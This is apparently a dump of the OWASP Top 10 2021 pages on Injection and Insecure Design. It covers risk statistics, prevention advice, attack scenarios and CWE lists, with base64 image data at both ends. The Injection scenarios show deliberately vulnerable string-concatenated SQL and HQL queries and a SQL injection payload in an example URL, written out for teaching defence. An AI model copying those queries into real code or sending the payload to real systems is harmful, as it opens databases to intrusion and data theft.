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){: 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## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 33 | 19.09% | 3.37% | 7.25 | 7.15 | 94.04% | 47.90% | 274,228 | 32,078 |
## Overview
Injection slides down to the third position. 94% of the applications
were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3%, and 274k occurrences. Notable Common Weakness Enumerations (CWEs) included are
*CWE-79: Cross-site Scripting*, *CWE-89: SQL Injection*, and *CWE-73:
External Control of File Name or Path*.
## Description
An application is vulnerable to attack when:
- User-supplied data is not validated, filtered, or sanitized by the
application.
- Dynamic queries or non-parameterized calls without context-aware
escaping are used directly in the interpreter.
- Hostile data is used within object-relational mapping (ORM) search
parameters to extract additional, sensitive records.
- Hostile data is directly used or concatenated. The SQL or command
contains the structure and malicious data in dynamic queries,
commands, or stored procedures.
Some of the more common injections are SQL, NoSQL, OS command, Object
Relational Mapping (ORM), LDAP, and Expression Language (EL) or Object
Graph Navigation Library (OGNL) injection. The concept is identical
among all interpreters. Source code review is the best method of
detecting if applications are vulnerable to injections. Automated
testing of all parameters, headers, URL, cookies, JSON, SOAP, and XML
data inputs is strongly encouraged. Organizations can include
static (SAST), dynamic (DAST), and interactive (IAST) application security testing tools into the CI/CD
pipeline to identify introduced injection flaws before production
deployment.
## How to Prevent
Preventing injection requires keeping data separate from commands and queries:
- The preferred option is to use a safe API, which avoids using the
interpreter entirely, provides a parameterized interface, or
migrates to Object Relational Mapping Tools (ORMs).<br/>
**Note:** Even when parameterized, stored procedures can still introduce
SQL injection if PL/SQL or T-SQL concatenates queries and data or
executes hostile data with EXECUTE IMMEDIATE or exec().
- Use positive server-side input validation. This is
not a complete defense as many applications require special
characters, such as text areas or APIs for mobile applications.
- For any residual dynamic queries, escape special characters using
the specific escape syntax for that interpreter.<br/>
**Note:** SQL structures such as table names, column names, and so on
cannot be escaped, and thus user-supplied structure names are
dangerous. This is a common issue in report-writing software.
- Use LIMIT and other SQL controls within queries to prevent mass
disclosure of records in case of SQL injection.
## Example Attack Scenarios
**Scenario #1:** An application uses untrusted data in the construction
of the following vulnerable SQL call:
```
String query = "SELECT \* FROM accounts WHERE custID='" + request.getParameter("id") + "'";
```
**Scenario #2:** Similarly, an application’s blind trust in frameworks
may result in queries that are still vulnerable, (e.g., Hibernate Query
Language (HQL)):
```
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
```
In both cases, the attacker modifies the ‘id’ parameter value in their
browser to send: ' UNION SLEEP(10);--. For example:
```
http://example.com/app/accountView?id=' UNION SELECT SLEEP(10);--
```
This changes the meaning of both queries to return all the records from
the accounts table. More dangerous attacks could modify or delete data
or even invoke stored procedures.
## References
- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)
- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Testing Guide: SQL Injection,](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) [Command Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection),
and [ORM Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)
- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)
- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Injection Prevention in Java](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html)
- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)
- [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)
- [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)
## List of Mapped CWEs
[CWE-20 Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)
[CWE-74 Improper Neutralization of Special Elements in Output Used by a
Downstream Component ('Injection')](https://cwe.mitre.org/data/definitions/74.html)
[CWE-75 Failure to Sanitize Special Elements into a Different Plane
(Special Element Injection)](https://cwe.mitre.org/data/definitions/75.html)
[CWE-77 Improper Neutralization of Special Elements used in a Command
('Command Injection')](https://cwe.mitre.org/data/definitions/77.html)
[CWE-78 Improper Neutralization of Special Elements used in an OS Command
('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)
[CWE-79 Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)
[CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page
(Basic XSS)](https://cwe.mitre.org/data/definitions/80.html)
[CWE-83 Improper Neutralization of Script in Attributes in a Web Page](https://cwe.mitre.org/data/definitions/83.html)
[CWE-87 Improper Neutralization of Alternate XSS Syntax](https://cwe.mitre.org/data/definitions/87.html)
[CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')](https://cwe.mitre.org/data/definitions/88.html)
[CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html)
[CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')](https://cwe.mitre.org/data/definitions/90.html)
[CWE-91 XML Injection (aka Blind XPath Injection)](https://cwe.mitre.org/data/definitions/91.html)
[CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')](https://cwe.mitre.org/data/definitions/93.html)
[CWE-94 Improper Control of Generation of Code ('Code Injection')](https://cwe.mitre.org/data/definitions/94.html)
[CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)
[CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')](https://cwe.mitre.org/data/definitions/96.html)
[CWE-97 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page](https://cwe.mitre.org/data/definitions/97.html)
[CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')](https://cwe.mitre.org/data/definitions/98.html)
[CWE-99 Improper Control of Resource Identifiers ('Resource Injection')](https://cwe.mitre.org/data/definitions/99.html)
[CWE-100 Deprecated: Was catch-all for input validation issues](https://cwe.mitre.org/data/definitions/100.html)
[CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)
[CWE-116 Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)
[CWE-138 Improper Neutralization of Special Elements](https://cwe.mitre.org/data/definitions/138.html)
[CWE-184 Incomplete List of Disallowed Inputs](https://cwe.mitre.org/data/definitions/184.html)
[CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')](https://cwe.mitre.org/data/definitions/470.html)
[CWE-471 Modification of Assumed-Immutable Data (MAID)](https://cwe.mitre.org/data/definitions/471.html)
[CWE-564 SQL Injection: Hibernate](https://cwe.mitre.org/data/definitions/564.html)
[CWE-610 Externally Controlled Reference to a Resource in Another Sphere](https://cwe.mitre.org/data/definitions/610.html)
[CWE-643 Improper Neutralization of Data within XPath Expressions ('XPath Injection')](https://cwe.mitre.org/data/definitions/643.html)
[CWE-644 Improper Neutralization of HTTP Headers for Scripting Syntax](https://cwe.mitre.org/data/definitions/644.html)
[CWE-652 Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')](https://cwe.mitre.org/data/definitions/652.html)
[CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](https://cwe.mitre.org/data/definitions/917.html)
|
A04_2021-Insecure_Design.md | ./Top10/2021/docs/A04_2021-Insecure_Design.md | # A04:2021 – Insecure Design ![icon](assets/TOP_10_Icons_Final_Insecure_Design.png){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 40 | 24.19% | 3.00% | 6.46 | 6.78 | 77.25% | 42.51% | 262,407 | 2,691 |
## Overview
A new category for 2021 focuses on risks related to design and architectural flaws, with a call for more use of threat modeling, secure design patterns, and reference architectures. As a community we need to move beyond "shift-left" in the coding space to pre-code activities that are critical for the principles of Secure by Design. Notable Common Weakness Enumerations (CWEs) include *CWE-209: Generation of Error Message Containing Sensitive Information*, *CWE-256: Unprotected Storage of Credentials*, *CWE-501: Trust Boundary Violation*, and *CWE-522: Insufficiently Protected Credentials*.
## Description
Insecure design is a broad category representing different weaknesses, expressed as “missing or ineffective control design.” Insecure design is not the source for all other Top 10 risk categories. There is a difference between insecure design and insecure implementation. We differentiate between design flaws and implementation defects for a reason, they have different root causes and remediation. A secure design can still have implementation defects leading to vulnerabilities that may be exploited. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks. One of the factors that contribute to insecure design is the lack of business risk profiling inherent in the software or system being developed, and thus the failure to determine what level of security design is required.
### Requirements and Resource Management
Collect and negotiate the business requirements for an application with the business, including the protection requirements concerning confidentiality, integrity, availability, and authenticity of all data assets and the expected business logic. Take into account how exposed your application will be and if you need segregation of tenants (additionally to access control). Compile the technical requirements, including functional and non-functional security requirements. Plan and negotiate the budget covering all design, build, testing, and operation, including security activities.
### Secure Design
Secure design is a culture and methodology that constantly evaluates threats and ensures that code is robustly designed and tested to prevent known attack methods. Threat modeling should be integrated into refinement sessions (or similar activities); look for changes in data flows and access control or other security controls. In the user story development determine the correct flow and failure states, ensure they are well understood and agreed upon by responsible and impacted parties. Analyze assumptions and conditions for expected and failure flows, ensure they are still accurate and desirable. Determine how to validate the assumptions and enforce conditions needed for proper behaviors. Ensure the results are documented in the user story. Learn from mistakes and offer positive incentives to promote improvements. Secure design is neither an add-on nor a tool that you can add to software.
### Secure Development Lifecycle
Secure software requires a secure development lifecycle, some form of secure design pattern, paved road methodology, secured component library, tooling, and threat modeling. Reach out for your security specialists at the beginning of a software project throughout the whole project and maintenance of your software. Consider leveraging the [OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org) to help structure your secure software development efforts.
## How to Prevent
- Establish and use a secure development lifecycle with AppSec
professionals to help evaluate and design security and
privacy-related controls
- Establish and use a library of secure design patterns or paved road
ready to use components
- Use threat modeling for critical authentication, access control,
business logic, and key flows
- Integrate security language and controls into user stories
- Integrate plausibility checks at each tier of your application
(from frontend to backend)
- Write unit and integration tests to validate that all critical flows
are resistant to the threat model. Compile use-cases *and* misuse-cases
for each tier of your application.
- Segregate tier layers on the system and network layers depending on the
exposure and protection needs
- Segregate tenants robustly by design throughout all tiers
- Limit resource consumption by user or service
## Example Attack Scenarios
**Scenario #1:** A credential recovery workflow might include “questions
and answers,” which is prohibited by NIST 800-63b, the OWASP ASVS, and
the OWASP Top 10. Questions and answers cannot be trusted as evidence of
identity as more than one person can know the answers, which is why they
are prohibited. Such code should be removed and replaced with a more
secure design.
**Scenario #2:** A cinema chain allows group booking discounts and has a
maximum of fifteen attendees before requiring a deposit. Attackers could
threat model this flow and test if they could book six hundred seats and
all cinemas at once in a few requests, causing a massive loss of income.
**Scenario #3:** A retail chain’s e-commerce website does not have
protection against bots run by scalpers buying high-end video cards to
resell auction websites. This creates terrible publicity for the video
card makers and retail chain owners and enduring bad blood with
enthusiasts who cannot obtain these cards at any price. Careful anti-bot
design and domain logic rules, such as purchases made within a few
seconds of availability, might identify inauthentic purchases and
rejected such transactions.
## References
- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)
- [OWASP SAMM: Design:Security Architecture](https://owaspsamm.org/model/design/security-architecture/)
- [OWASP SAMM: Design:Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/)
- [NIST – Guidelines on Minimum Standards for Developer Verification of Software](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)
- [The Threat Modeling Manifesto](https://threatmodelingmanifesto.org)
- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)
## List of Mapped CWEs
[CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)
[CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)
[CWE-209 Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)
[CWE-213 Exposure of Sensitive Information Due to Incompatible Policies](https://cwe.mitre.org/data/definitions/213.html)
[CWE-235 Improper Handling of Extra Parameters](https://cwe.mitre.org/data/definitions/235.html)
[CWE-256 Unprotected Storage of Credentials](https://cwe.mitre.org/data/definitions/256.html)
[CWE-257 Storing Passwords in a Recoverable Format](https://cwe.mitre.org/data/definitions/257.html)
[CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)
[CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)
[CWE-280 Improper Handling of Insufficient Permissions or Privileges](https://cwe.mitre.org/data/definitions/280.html)
[CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)
[CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)
[CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)
[CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)
[CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)
[CWE-430 Deployment of Wrong Handler](https://cwe.mitre.org/data/definitions/430.html)
[CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)
[CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')](https://cwe.mitre.org/data/definitions/444.html)
[CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)
[CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)
[CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)
[CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)
[CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)
[CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)
[CWE-579 J2EE Bad Practices: Non-serializable Object Stored in Session](https://cwe.mitre.org/data/definitions/579.html)
[CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)
[CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)
[CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)
[CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)
[CWE-650 Trusting HTTP Permission Methods on the Server Side](https://cwe.mitre.org/data/definitions/650.html)
[CWE-653 Insufficient Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)
[CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)
[CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)
[CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)
[CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)
[CWE-840 Business Logic Errors](https://cwe.mitre.org/data/definitions/840.html)
[CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)
[CWE-927 Use of Implicit Intent for Sensitive Communication](https://cwe.mitre.org/data/definitions/927.html)
[CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)
[CWE-1173 Improper Use of Validation Framework](https://cwe.mitre.org/data/definitions/1173.html)
| 11,328 | 0.010817 | # A04:2021 – Insecure Design ![icon](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAk8AAAJQCAYAAACXR4AgAAAACXBIWXMAABcRAAAXEQHKJvM/AAAgAElEQVR4nOydCfRdVX3v9+2yVgVJVFBICEnA2gooqb62DxXzZxCZhNgyOJZQqxWHmq72vVYFTNSiIEpQK5NiUASs2sZXx+UUJIkDrxIkUIUAGUCZScLkQ9e6b5177/9/7znf7x7Oueece4bvZy2H/P7f39n77rv3Pt+7zzn7dLrdrhFCCCGEEGH8ntpJCCGEECIcmSchhBBCiBTIPAkhhBBCpEDmSQghhBAiBTJPQgghhBApkHkSQgghhEiBzJMQQgghRApknoQQQgghUiDzJIQQQgiRApknIYQQQogUyDwJIYQQQqRA5kkIIYQQIgUyT0IIIYQQKZB5EkIIIYRIgcyTEEIIIUQKZJ6EEEIIIVIg8ySEEEIIkQKZJyGEEEKIFMg8CSGEEEKkQOZJCCGEECIFMk9CCCGEECmQeRJCCCGESIHMkxBCCCFECmSehBBCCCFSIPMkhBBCCJECmSchhBBCiBTIPAkhhBBCpEDmSQghhBAiBTJPQgghhBApkHkSQgghhEiBzJMQQgghRApknoQQQgghUvAkNZYQoiz2m/rQbGPMokFx/f/f7U6XvmDwnySzTdccFI91QWSM2WKM2Uwk240xG6L/0+kHN8/oumbzprVnbIYjCSGEg063SychIYRIzb6HfnhqYIamBrnT/xsZplnTx+uwA4fMRSCBAEIknWSw/89rBv/aMGK4ev+7ae0Z2+EgQojWIvMkhEjFvod9OFoJWjQwRAsG/xszRz0C5paKmigb1/RXrLqbB8Zq86a1Z26waIUQDUbmSQhhZd/DzhkxSd0pMEkh00cWE5XJQFmDXklKE5UUDUyV2WC6ZsOmdWeuAakQolHIPAkheiw8/JzZna6ZNkjR/y7mLUPmDBICmm+iRkM3DFan1vQu+63TCpUQTULmSYiWsvDwcxcMTNLUYFVp/nRLdLKbhoC0apsoMFBEwyGiYWjHwEj1/iMzJUS9kXkSoiUsPPzc6Om2JUPDNDRLQ+LzgUyUW8MJWr0aNVOrN607U0/8CVEjZJ6EaDALjzh30cAwRf85yHIiT4AimSi3hpPqEuCWvpHqru6vTJ2lp/uEqDAyT0I0jIVHfGTJiGEa3Nydz708mUxUTgbKtMNETYu+Gq1IDYyUVqWEqBgyT0LUnIWv+MjsEbN0wsynoUO7/iYKDFRgHi+fBp2Skk1U9F/Rzeer+pf3ZKSEqAIyT0LUlAWvOG9px3TjholBh7hMlCOAEMkETJSRkRKiGsg8CVEjFhx53hLTTV6Ss5zIk1CJTJQjgBAJtD3RIEREQkhM1Lu01+ma1beu1z1SQpSJzJMQFWfBkedFWwosGxim4RNyZOjCiZwBEgjQEIIimSi3BiEiEkJioh0DE7Xq1vVnaYNOIUpA5kmIirLglR9darrdpfbNKgeQIQwncgZIIEBDSJbtDcjBZaLGzut0e0/trYwu7Wk1SojikHkSokIseOVHp1eZlsZfg5LjfTnePAjQEAIn8tQ5thAgE+UUDdr+8oGJ0mqUEDkj8yREBVjwyo9ODUyT5+Zvmai4JoOJCp3zQAYBhEig7YkGISISQmjbR6tRy6NLe1qNEiIfZJ6EmCC9S3P9ExvZ7duBTFRCU5CJohIa9Eqg7YkGISISQmjb7xi5pKcn9YQYA5knIUpm/lEfm93przItm7k0l3UcZjAAcBK3ATII0BBCT+QeiIiEgHa+N8+Bte2jS3rLZaKEyIbMkxAlMf+oj8H9TJkvKWXJy2KiqCTLCgoKZaLcGk4+q1cjbX/NwETpvighUiDzJETBzD+6Z5qiS3On9koiQ649JgpFMlFuDUcmSohJIvMkREHMP/r8uGkKOOHJRKXMC20emSinSCZKiHTIPAmRM2iaRiHjjYRkolLmFbUKFZjHy6dBp4S2PQkhMlFClInMkxA5Mf+Y82f37mnqmvf5j0jGHZxICTJR7rzKmSgIcKptopbqxnIh4sg8CZED8485f3ns6TlDz0kEIoITKSHLuC11ewMSpBpPjl75kvowVDh+2+vpPCFGkHkSYgzmH3O+f5+mVpsoCNAQgiKZKLcGISISQlCU2CdqpTbbFG1H5kmIDMw/ZuXUwDQN3juXdXUmQCQTNSy7yJUXmSinaKTtIxO17Nb1Z62CFCFagsyTECmYf+zK2YNf36fyExANppZQkUzUsOwiTYNMlFOkm8qFkHkSIph9jl0Z3dO0vDN6X5OBc4srmFoCIpIjE5W6cBoC9N48pyhxP9QyXcoTbULmSQgP+xx3wZTpdqPVpoNGlXjiZMehwdQSEJEcrA8RBRUlExXXFGSiqIQGvRJoe6JBiIiEENr2upQnWoXMkxAW9jnugtmD+5reNaMg4wVPnCCxBVNLQERysD5EFFSUTFRcU20TRdudhBAiIiGEtr22NhCtQOZJCMI+x12wJHr7vEleopuGjBs8cYLEFkwtARHJwfoQUVBROZ3IPTnWIAkh9ETugYhICNBu5c68QduvuHX9WctBKkRDkHkSYoTBalNkmk4IahcyfvDECRJbMLUERCQH60NEQUVN0ERRjSdHJgokLITk1vY3DFahNsAfhag5Mk9CDNjnVR9fYrpd+2qTi8Q4gpOmYecXCHBkoqz/5KBI781zazi5tb1WoUTjkHkSrWefV30cV5tyMhZw0jTs/AIBJMcVFKiTTJQ7r6hVqMA8Xj4NOiW07UkIyaXtb+h0tQolmoPMk2g1+7zq49Fml6utq00NNVG8PiQvqDiZqKGmTBMFAU61TNSKTeu0CiXqj8yTaC37HP/xlb0n6XI6KVLaYqL03ryEpmImikho25MQMnbb957I27ROT+SJ+iLzJFrHvOM/sahjevc2xfZtkolKakietyiZqLimhiaKaBAiIiFkRrRjYKBWg0SIGiDzJFrFvOM/sXTwepXeZTo4cRiZKEAvH3bnyUSNk3dBtJfapnXanVzUC5kn0QrmHf+J4TvpCHDiMAWaKJIDJ06U2IKpJVQkEzUsu0jTIBPFRDcMVqF0M7moDTJPovHMO+ETi3pP03UTl+kIcOIwMlEAqbe/KJmouEYmKiHSZTxRK2SeRKOZd8InlxrTXRl7mi6gy8OJIzCvESaK5GB9iCioKJmouCaDiWr2e/Mu2LTurGUQFqJiyDyJxjLvhE+uHL6XjvRzEkoCJ47APJkoDzJRCU21TRRtdxJCiIiEEtxgTHdK90GJKiPzJBrHvCWfnD3Yu2kxTtQQoKEkcPIIHTYyUW703ryEpiUmyp8TXcab2rTuTN0HJSrJ7+lrEU1i3pJPRvc3begZJzM408TONhCgoSTd3mmjkyqnrwsRkZxEXjd5vqHl02BqCYhIDtYH6xxESF6ifPguGKTONAgaRuK76PT/48ZSli8voD0ytT0tmwadEtr2OfWpBNFl9jXPfekHlsJfhKgAWnkSjWHekk8uGbxmhe8WbtgvXgjQUBL4BV7UpTySR8859NA0mFoCIpIDddJu5f4KkBCglaiICzatO1P3QYlKIfMkGsG8Jf8aTa7n9z9LeffFwMmjciYKAkhwdWSiXKJJ7hFlmm+ivtp/Gu9M3QclKoHMk6g9e7/6X1d1umz/JpkoRwDJaQWF14fkBRUnEzXUZFiFCszj5dOgU0LbnoSQoPa4YXAflAyUmDgyT6K27P3qfx3eGD4AT1wQQKiEBEkoCZw8ZKISGpLnLSowB8qXiUqbh+VDACES2vYkhHjbY4sxZoluJBeTRuZJ1JKBcVoD76cbgCcuCCBUk